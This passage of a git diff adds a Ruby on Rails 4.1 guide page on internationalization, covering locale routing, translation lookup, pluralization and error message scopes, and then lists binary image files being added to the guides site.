You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.

You probably want URLs to look like this: www.example.com/en/books (which loads the English locale) and www.example.com/nl/books (which loads the Dutch locale). This is achievable with the "over-riding default_url_options" strategy from above: you just have to set up your routes with scoping option in this way:

+
+# config/routes.rb
+scope "/:locale" do
+  resources :books
+end
+
+
+
+

Now, when you call the books_path method you should get "/en/books" (for the default locale). An URL like http://localhost:3001/nl/books should load the Dutch locale, then, and following calls to books_path should return "/nl/books" (because the locale changed).

If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:

+
+# config/routes.rb
+scope "(:locale)", locale: /en|nl/ do
+  resources :books
+end
+
+
+
+

With this approach you will not get a Routing Error when accessing your resources such as http://localhost:3001/books without a locale. This is useful for when you want to use the default locale when one is not specified.

Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like http://localhost:3001/nl will not work automatically, because the root to: "books#index" declaration in your routes.rb doesn't take locale into account. (And rightly so: there's only one "root" URL.)

You would probably need to map URLs like these:

+
+# config/routes.rb
+get '/:locale' => 'dashboard#index'
+
+
+
+

Do take special care about the order of your routes, so this route declaration does not "eat" other ones. (You may want to add it directly before the root :to declaration.)

Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's routing_filter and Raul Murciano's translate_routes.

2.6 Setting the Locale from the Client Supplied Information

In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - see the box about sessions, cookies and RESTful architecture above.

2.6.1 Using Accept-Language +

One source of client supplied information would be an Accept-Language HTTP header. People may set this in their browser or other clients (such as curl).

A trivial implementation of using an Accept-Language header would be:

+
+def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+
+private
+  def extract_locale_from_accept_language_header
+    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+  end
+
+
+
+

Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's http_accept_language or even Rack middleware such as Ryan Tomayko's locale.

2.6.2 Using GeoIP (or Similar) Database

Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as GeoIP Lite Country. The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.

2.6.3 User Profile

You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.

3 Internationalizing your Application

OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.

Let's internationalize our application, i.e. abstract every locale-specific parts, and then localize it, i.e. provide necessary translations for these abstracts.

You most probably have something like this in one of your applications:

+
+# config/routes.rb
+Yourapp::Application.routes.draw do
+  root to: "home#index"
+end
+
+
+
+
+
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+  before_action :set_locale
+
+  def set_locale
+    I18n.locale = params[:locale] || I18n.default_locale
+  end
+end
+
+
+
+
+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello Flash"
+  end
+end
+
+
+
+
+
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+
+
+
+

rails i18n demo untranslated

3.1 Adding Translations

Obviously there are two strings that are localized to English. In order to internationalize this code, replace these strings with calls to Rails' #t helper with a key that makes sense for the translation:

+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+
+
+
+
+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+
+
+
+

When you now render this view, it will show an error message which tells you that the translations for the keys :hello_world and :hello_flash are missing.

rails i18n demo translation missing

Rails adds a t (translate) helper method to your views so that you do not need to spell out I18n.t all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a <span class="translation_missing">.

So let's add the missing translations into the dictionary files (i.e. do the "localization" part):

+
+# config/locales/en.yml
+en:
+  hello_world: Hello world!
+  hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+
+
+
+

There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:

rails i18n demo translated to English

And when you change the URL to pass the pirate locale (http://localhost:3000?locale=pirate), you'll get:

rails i18n demo translated to pirate

You need to restart the server when you add new locale files.

You may use YAML (.yml) or plain Ruby (.rb) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)

3.2 Passing variables to translations

You can use variables in the translation messages and pass their values from the view.

+
+# app/views/home/index.html.erb
+<%=t 'greet_username', user: "Bill", message: "Goodbye" %>
+
+
+
+
+
+# config/locales/en.yml
+en:
+  greet_username: "%{message}, %{user}!"
+
+
+
+

3.3 Adding Date/Time Formats

OK! Now let's add a timestamp to the view, so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option - by default the :default format is used.

+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, format: :short %></p>
+
+
+
+

And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):

+
+# config/locales/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+
+
+
+

So that would give you:

rails i18n demo localized time to pirate

Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by translating Rails' defaults for your locale. See the rails-i18n repository at GitHub for an archive of various locale files. When you put such file(s) in config/locales/ directory, they will automatically be ready for use.

3.4 Inflection Rules For Other Locales

Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In config/initializers/inflections.rb, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.

3.5 Localized Views

Let's say you have a BooksController in your application. Your index action renders content in app/views/books/index.html.erb template. When you put a localized variant of this template: index.es.html.erb in the same directory, Rails will render content in this template, when the locale is set to :es. When the locale is set to the default locale, the generic index.html.erb view will be used. (Future Rails versions may well bring this automagic localization to assets in public, etc.)

You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.

3.6 Organization of Locale Files

When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.

For example, your config/locales directory could look like this:

+
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+
+
+
+

This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.

The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:

+
+  # config/application.rb
+  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+
+
+
+

Do check the Rails i18n Wiki for list of tools available for managing translations.

4 Overview of the I18n API Features

You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.

These chapters will show examples using both the I18n.translate method as well as the translate view helper method (noting the additional feature provide by the view helper method).

Covered are features like these:

+
    +
  • looking up translations
  • +
  • interpolating data into translations
  • +
  • pluralizing translations
  • +
  • using safe HTML translations (view helper method only)
  • +
  • localizing dates, numbers, currency, etc.
  • +
+

4.1 Looking up Translations

4.1.1 Basic Lookup, Scopes and Nested Keys

Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:

+
+I18n.t :message
+I18n.t 'message'
+
+
+
+

The translate method also takes a :scope option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:

+
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+
+
+
+

This looks up the :record_invalid message in the Active Record error messages.

Additionally, both the key and scopes can be specified as dot-separated keys as in:

+
+I18n.translate "activerecord.errors.messages.record_invalid"
+
+
+
+

Thus the following calls are equivalent:

+
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', scope: :active_record
+I18n.t :record_invalid, scope: 'activerecord.errors.messages'
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+
+
+
+
4.1.2 Defaults

When a :default option is given, its value will be returned if the translation is missing:

+
+I18n.t :missing, default: 'Not here'
+# => 'Not here'
+
+
+
+

If the :default value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.

E.g., the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result, the string "Not here" will be returned:

+
+I18n.t :missing, default: [:also_missing, 'Not here']
+# => 'Not here'
+
+
+
+
4.1.3 Bulk and Namespace Lookup

To look up multiple translations at once, an array of keys can be passed:

+
+I18n.t [:odd, :even], scope: 'errors.messages'
+# => ["must be odd", "must be even"]
+
+
+
+

Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive all Active Record error messages as a Hash with:

+
+I18n.t 'activerecord.errors.messages'
+# => {:inclusion=>"is not included in the list", :exclusion=> ... }
+
+
+
+
4.1.4 "Lazy" Lookup

Rails implements a convenient way to look up the locale inside views. When you have the following dictionary:

+
+es:
+  books:
+    index:
+      title: "Título"
+
+
+
+

you can look up the books.index.title value inside app/views/books/index.html.erb template like this (note the dot):

+
+<%= t '.title' %>
+
+
+
+

Automatic translation scoping by partial is only available from the translate view helper method.

4.2 Interpolation

In many cases you want to abstract your translations so that variables can be interpolated into the translation. For this reason the I18n API provides an interpolation feature.

All options besides :default and :scope that are passed to #translate will be interpolated to the translation:

+
+I18n.backend.store_translations :en, thanks: 'Thanks %{name}!'
+I18n.translate :thanks, name: 'Jeremy'
+# => 'Thanks Jeremy!'
+
+
+
+

If a translation uses :default or :scope as an interpolation variable, an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable, but this has not been passed to #translate, an I18n::MissingInterpolationArgument exception is raised.

4.3 Pluralization

In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages (Arabic, Japanese, Russian and many more) have different grammars that have additional or fewer plural forms. Thus, the I18n API provides a flexible pluralization feature.

The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:

+
+I18n.backend.store_translations :en, inbox: {
+  one: 'one message',
+  other: '%{count} messages'
+}
+I18n.translate :inbox, count: 2
+# => '2 messages'
+
+I18n.translate :inbox, count: 1
+# => 'one message'
+
+
+
+

The algorithm for pluralizations in :en is as simple as:

+
+entry[count == 1 ? 0 : 1]
+
+
+
+

I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).

If the lookup for the key does not return a Hash suitable for pluralization, an 18n::InvalidPluralizationData exception is raised.

4.4 Setting and Passing a Locale

The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.

If no locale is passed, I18n.locale is used:

+
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+
+
+
+

Explicitly passing a locale:

+
+I18n.t :foo, locale: :de
+I18n.l Time.now, locale: :de
+
+
+
+

The I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:

+
+I18n.default_locale = :de
+
+
+
+

4.5 Using Safe HTML Translations

Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.

+
+# config/locales/en.yml
+en:
+  welcome: <b>welcome!</b>
+  hello_html: <b>hello!</b>
+  title:
+    html: <b>title!</b>
+
+
+
+
+
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+
+
+
+

Automatic conversion to HTML safe translate text is only available from the translate view helper method.

i18n demo html safe

5 How to Store your Custom Translations

The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.2

For example a Ruby Hash providing translations can look like this:

+
+{
+  pt: {
+    foo: {
+      bar: "baz"
+    }
+  }
+}
+
+
+
+

The equivalent YAML file would look like this:

+
+pt:
+  foo:
+    bar: baz
+
+
+
+

As you see, in both cases the top level key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".

Here is a "real" example from the Active Support en.yml translations YAML file:

+
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+
+
+
+

So, all of the following equivalent lookups will return the :short date format "%b %d":

+
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+
+
+
+

Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.

5.1 Translations for Active Record Models

You can use the methods Model.model_name.human and Model.human_attribute_name(attribute) to transparently look up translations for your model and attribute names.

For example when you add the following translations:

+
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # will translate User attribute "login" as "Handle"
+
+
+
+

Then User.model_name.human will return "Dude" and User.human_attribute_name("login") will return "Handle".

You can also set a plural form for model names, adding as following:

+
+en:
+  activerecord:
+    models:
+      user:
+        one: Dude
+        other: Dudes
+
+
+
+

Then User.model_name.human(count: 2) will return "Dudes". With count: 1 or without params will return "Dude".

5.1.1 Error Message Scopes

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.

This gives you quite powerful means to flexibly adjust your messages to your application's needs.

Consider a User model with a validation for the name attribute like this:

+
+class User < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+
+
+

The key for the error message in this case is :blank. Active Record will look up this key in the namespaces:

+
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+
+
+
+

Thus, in our example it will try the following keys in this order and return the first result:

+
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+
+
+
+

When your models are additionally using inheritance then the messages are looked up in the inheritance chain.

For example, you might have an Admin model inheriting from User:

+
+class Admin < User
+  validates :name, presence: true
+end
+
+
+
+

Then Active Record will look for messages in this order:

+
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+
+
+
+

This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.

5.1.2 Error Message Interpolation

The translated model name, translated attribute name, and value are always available for interpolation.

So, for example, instead of the default error message "cannot be blank" you could use the attribute name like this : "Please fill in your %{attribute}".

+
    +
  • +count, where available, can be used for pluralization if present:
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
validationwith optionmessageinterpolation
confirmation-:confirmation-
acceptance-:accepted-
presence-:blank-
absence-:present-
length:within, :in:too_shortcount
length:within, :in:too_longcount
length:is:wrong_lengthcount
length:minimum:too_shortcount
length:maximum:too_longcount
uniqueness-:taken-
format-:invalid-
inclusion-:inclusion-
exclusion-:exclusion-
associated-:invalid-
numericality-:not_a_number-
numericality:greater_than:greater_thancount
numericality:greater_than_or_equal_to:greater_than_or_equal_tocount
numericality:equal_to:equal_tocount
numericality:less_than:less_thancount
numericality:less_than_or_equal_to:less_than_or_equal_tocount
numericality:only_integer:not_an_integer-
numericality:odd:odd-
numericality:even:even-
+
5.1.3 Translations for the Active Record error_messages_for Helper

If you are using the Active Record error_messages_for helper, you will want to add +translations for it.

Rails ships with the following translations:

+
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this %{model} from being saved"
+          other: "%{count} errors prohibited this %{model} from being saved"
+        body:    "There were problems with the following fields:"
+
+
+
+

In order to use this helper, you need to install DynamicForm +gem by adding this line to your Gemfile: gem 'dynamic_form'.

5.2 Translations for Action Mailer E-Mail Subjects

If you don't pass a subject to the mail method, Action Mailer will try to find +it in your translations. The performed lookup will use the pattern +<mailer_scope>.<action_name>.subject to construct the key.

+
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    #...
+  end
+end
+
+
+
+
+
+en:
+  user_mailer:
+    welcome:
+      subject: "Welcome to Rails Guides!"
+
+
+
+

5.3 Overview of Other Built-In Methods that Provide I18n Support

Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.

5.3.1 Action View Helper Methods
+
    +
  • distance_of_time_in_words translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See datetime.distance_in_words translations.

  • +
  • datetime_select and select_month use translated month names for populating the resulting select tag. See date.month_names for translations. datetime_select also looks up the order option from date.order (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the datetime.prompts scope if applicable.

  • +
  • The number_to_currency, number_with_precision, number_to_percentage, number_with_delimiter, and number_to_human_size helpers use the number format settings located in the number scope.

  • +
+
5.3.2 Active Model Methods
+
    +
  • model_name.human and human_attribute_name use translations for model names and attribute names if available in the activerecord.models scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".

  • +
  • ActiveModel::Errors#generate_message (which is used by Active Model validations but may also be used manually) uses model_name.human and human_attribute_name (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".

  • +
  • ActiveModel::Errors#full_messages prepends the attribute name to the error message using a separator that will be looked up from errors.format (and which defaults to "%{attribute} %{message}").

  • +
+
5.3.3 Active Support Methods
+
    +
  • +Array#to_sentence uses format settings as given in the support.array scope.
  • +
+

6 Customize your I18n Setup

6.1 Using Different Backends

For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" for Ruby on Rails3 ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.

That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:

+
+I18n.backend = Globalize::Backend::Static.new
+
+
+
+

You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:

+
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+
+
+
+

6.2 Using Different Exception Handlers

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

+
+MissingTranslationData       # no translation was found for the requested key
+InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
+
+
+
+

The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught, it will return the exception's error message string containing the missing key/scope.

The reason for this is that during development you'd usually want your views to still render even though a translation is missing.

In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with #call method:

+
+module I18n
+  class JustRaiseExceptionHandler < ExceptionHandler
+    def call(exception, locale, key, options)
+      if exception.is_a?(MissingTranslation)
+        raise exception.to_exception
+      else
+        super
+      end
+    end
+  end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+
+
+
+

This would re-raise only the MissingTranslationData exception, passing all other input to the default exception handler.

However, if you are using I18n::Backend::Pluralization this handler will also raise I18n::MissingTranslationData: translation missing: en.i18n.plural.rule exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:

+
+if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
+  raise exception.to_exception
+else
+  super
+end
+
+
+
+

Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context, the helper wraps the message into a span with the CSS class translation_missing.

To do so, the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:

+
+I18n.t :foo, raise: true # always re-raises exceptions from the backend
+
+
+
+

7 Conclusion

At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.

If you find anything missing or wrong in this guide, please file a ticket on our issue tracker. If you want to discuss certain portions or have questions, please sign up to our mailing list.

8 Contributing to Rails I18n

I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.

Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our mailing list)

If you find your own locale (language) missing from our example translations data repository for Ruby on Rails, please fork the repository, add your data and send a pull request.

9 Resources

+ +

10 Authors

+ +

If you found this guide useful, please consider recommending its authors on workingwithrails.

11 Footnotes

1 Or, to quote Wikipedia: "Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."

2 Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.

3 One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/images/akshaysurve.jpg b/v4.1/images/akshaysurve.jpg new file mode 100644 index 0000000..cfc3333 Binary files /dev/null and b/v4.1/images/akshaysurve.jpg differ diff --git a/v4.1/images/belongs_to.png b/v4.1/images/belongs_to.png new file mode 100644 index 0000000..43c963f Binary files /dev/null and b/v4.1/images/belongs_to.png differ diff --git a/v4.1/images/book_icon.gif b/v4.1/images/book_icon.gif new file mode 100644 index 0000000..efc5e06 Binary files /dev/null and b/v4.1/images/book_icon.gif differ diff --git a/v4.1/images/bullet.gif b/v4.1/images/bullet.gif new file mode 100644 index 0000000..95a2636 Binary files /dev/null and b/v4.1/images/bullet.gif differ diff --git a/v4.1/images/chapters_icon.gif b/v4.1/images/chapters_icon.gif new file mode 100644 index 0000000..a61c28c Binary files /dev/null and b/v4.1/images/chapters_icon.gif differ diff --git a/v4.1/images/check_bullet.gif b/v4.1/images/check_bullet.gif new file mode 100644 index 0000000..bd54ef6 Binary files /dev/null and b/v4.1/images/check_bullet.gif differ diff --git a/v4.1/images/credits_pic_blank.gif b/v4.1/images/credits_pic_blank.gif new file mode 100644 index 0000000..a6b335d Binary files /dev/null and b/v4.1/images/credits_pic_blank.gif differ diff --git a/v4.1/images/csrf.png b/v4.1/images/csrf.png new file mode 100644 index 0000000..a8123d4 Binary files /dev/null and b/v4.1/images/csrf.png differ diff --git a/v4.1/images/edge_badge.png b/v4.1/images/edge_badge.png new file mode 100644 index 0000000..a3c1843 Binary files /dev/null and b/v4.1/images/edge_badge.png differ diff --git a/v4.1/images/favicon.ico b/v4.1/images/favicon.ico new file mode 100644 index 0000000..e0e80cf Binary files /dev/null and b/v4.1/images/favicon.ico differ diff --git a/v4.1/images/feature_tile.gif b/v4.1/images/feature_tile.gif new file mode 100644 index 0000000..5268ef8 Binary files /dev/null and b/v4.1/images/feature_tile.gif differ diff --git a/v4.1/images/footer_tile.gif b/v4.1/images/footer_tile.gif new file mode 100644 index 0000000..3fe21a8 Binary files /dev/null and b/v4.1/images/footer_tile.gif differ diff --git a/v4.1/images/fxn.png b/v4.1/images/fxn.png new file mode 100644 index 0000000..733d380 Binary files /dev/null and b/v4.1/images/fxn.png differ diff --git a/v4.1/images/getting_started/article_with_comments.png b/v4.1/images/getting_started/article_with_comments.png new file mode 100644 index 0000000..117a78a Binary files /dev/null and b/v4.1/images/getting_started/article_with_comments.png differ diff --git a/v4.1/images/getting_started/challenge.png b/v4.1/images/getting_started/challenge.png new file mode 100644 index 0000000..5b88a84 Binary files /dev/null and b/v4.1/images/getting_started/challenge.png differ diff --git a/v4.1/images/getting_started/confirm_dialog.png b/v4.1/images/getting_started/confirm_dialog.png new file mode 100644 index 0000000..9755f58 Binary files /dev/null and b/v4.1/images/getting_started/confirm_dialog.png differ diff --git a/v4.1/images/getting_started/forbidden_attributes_for_new_article.png b/v4.1/images/getting_started/forbidden_attributes_for_new_article.png new file mode 100644 index 0000000..9f32c68 Binary files /dev/null and b/v4.1/images/getting_started/forbidden_attributes_for_new_article.png differ diff --git a/v4.1/images/getting_started/form_with_errors.png b/v4.1/images/getting_started/form_with_errors.png new file mode 100644 index 0000000..98bff37 Binary files /dev/null and b/v4.1/images/getting_started/form_with_errors.png differ diff --git a/v4.1/images/getting_started/index_action_with_edit_link.png b/v4.1/images/getting_started/index_action_with_edit_link.png new file mode 100644 index 0000000..0566a3f Binary files /dev/null and b/v4.1/images/getting_started/index_action_with_edit_link.png differ diff --git a/v4.1/images/getting_started/new_article.png b/v4.1/images/getting_started/new_article.png new file mode 100644 index 0000000..bd3ae4f Binary files /dev/null and b/v4.1/images/getting_started/new_article.png differ diff --git a/v4.1/images/getting_started/rails_welcome.png b/v4.1/images/getting_started/rails_welcome.png new file mode 100644 index 0000000..3e07c94 Binary files /dev/null and b/v4.1/images/getting_started/rails_welcome.png differ diff --git a/v4.1/images/getting_started/routing_error_no_controller.png b/v4.1/images/getting_started/routing_error_no_controller.png new file mode 100644 index 0000000..ed62862 Binary files /dev/null and b/v4.1/images/getting_started/routing_error_no_controller.png differ diff --git a/v4.1/images/getting_started/routing_error_no_route_matches.png b/v4.1/images/getting_started/routing_error_no_route_matches.png new file mode 100644 index 0000000..08c54f9 Binary files /dev/null and b/v4.1/images/getting_started/routing_error_no_route_matches.png differ diff --git a/v4.1/images/getting_started/show_action_for_articles.png b/v4.1/images/getting_started/show_action_for_articles.png new file mode 100644 index 0000000..4dad704 Binary files /dev/null and b/v4.1/images/getting_started/show_action_for_articles.png differ diff --git a/v4.1/images/getting_started/template_is_missing_articles_new.png b/v4.1/images/getting_started/template_is_missing_articles_new.png new file mode 100644 index 0000000..4e636d0 Binary files /dev/null and b/v4.1/images/getting_started/template_is_missing_articles_new.png differ diff --git a/v4.1/images/getting_started/unknown_action_create_for_articles.png b/v4.1/images/getting_started/unknown_action_create_for_articles.png new file mode 100644 index 0000000..fd20cd5 Binary files /dev/null and b/v4.1/images/getting_started/unknown_action_create_for_articles.png differ diff --git a/v4.1/images/getting_started/unknown_action_new_for_articles.png b/v4.1/images/getting_started/unknown_action_new_for_articles.png new file mode 100644 index 0000000..e948a51 Binary files /dev/null and b/v4.1/images/getting_started/unknown_action_new_for_articles.png differ diff --git a/v4.1/images/grey_bullet.gif b/v4.1/images/grey_bullet.gif new file mode 100644 index 0000000..3c08b15 Binary files /dev/null and b/v4.1/images/grey_bullet.gif differ diff --git a/v4.1/images/habtm.png b/v4.1/images/habtm.png new file mode 100644 index 0000000..b062bc7 Binary files /dev/null and b/v4.1/images/habtm.png differ diff --git a/v4.1/images/has_many.png b/v4.1/images/has_many.png new file mode 100644 index 0000000..e7589e3 Binary files /dev/null and b/v4.1/images/has_many.png differ diff --git a/v4.1/images/has_many_through.png b/v4.1/images/has_many_through.png new file mode 100644 index 0000000..858c898 Binary files /dev/null and b/v4.1/images/has_many_through.png differ diff --git a/v4.1/images/has_one.png b/v4.1/images/has_one.png new file mode 100644 index 0000000..93faa05 Binary files /dev/null and b/v4.1/images/has_one.png differ diff --git a/v4.1/images/has_one_through.png b/v4.1/images/has_one_through.png new file mode 100644 index 0000000..07dac1a Binary files 